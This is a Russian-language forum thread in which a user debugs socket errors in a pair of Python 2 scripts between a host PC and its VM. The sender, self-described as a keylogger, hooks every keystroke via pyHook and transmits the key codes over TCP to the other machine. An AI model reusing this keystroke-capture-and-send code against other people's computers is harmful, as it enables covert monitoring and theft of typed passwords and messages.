Форум сайта python.su
0
Доброе время суток.
Есть два компа (вернее, комп и виртуалка на нём VMWare player), и хост и гость - Windows 7.
Тип подключения - мост. Друг друга пингуют. В домашнюю группу объединены.
Адреса - 192.168.1.1 - роутер, 192.168.1.2 - хост, 192.168.1.3 - виртуалка.
Есть простой скрипт который берёт код нажатой клавиши и отправлет его в сообщении:
сендер, запускается на хосте
import win32api,sys,pythoncom,pyHook,ctypes,socket,time def OnKeyboardEvent(event): global hm print "KeyID = ",event.KeyID," | Ascii = ",event.Ascii,"|","Window = ",event.WindowName s.send(str(event.KeyID)) print "Keylogger start" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) host = "192.168.1.3" port = int(50000) s.connect((host, port)) hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
import win32api,sys,pythoncom,pyHook,ctypes,socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('192.168.1.2',50000)) print "Receiver started." s.listen(1) sock, addr = s.accept() print "Listening" while True: keycode = int(sock.recv(1024)) print keycode
Traceback (most recent call last): File "receiver.py", line 6, in <module> s.bind(('192.168.1.3',50000)) File "C:\Python27\lib\socket.py", line 222, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 10049]
Офлайн
103
s.bind(('', 50000))
Отредактировано terabayt (Апрель 15, 2015 18:31:20)
Офлайн
0
То есть на приёмнике не надо указывать с какого адреса ждать, только порт который слушать?
Офлайн
0
Спасибо, так ресивер запускается. Но теперь на хосте получаю ошибку
Traceback (most recent call last): File "keylogger.py", line 15, in <module> s.connect((host, port)) File "C:\Python27\lib\socket.py", line 222, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
Обмен пакетами с 192.168.1.3 по с 32 байтами данных:
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128
Статистика Ping для 192.168.1.3:
Пакетов: отправлено = 4, получено = 4, потеряно = 0
(0% потерь)
Приблизительное время приема-передачи в мс:
Минимальное = 0мсек, Максимальное = 0 мсек, Среднее = 0 мсек
Подключение к 192.168.1.3...Не удалось открыть подключение к этому узлу, на порт 50000: Сбой подключения
Офлайн
253
возьмите пример из https://docs.python.org/2/library/socket.html.
Он точно работает. Если не взлетит то надо будет разбираться с конфигурацией
Офлайн
253
возьмите пример из https://docs.python.org/2/library/socket.html.
Он точно работает. Если не взлетит то надо будет разбираться с конфигурацией
Офлайн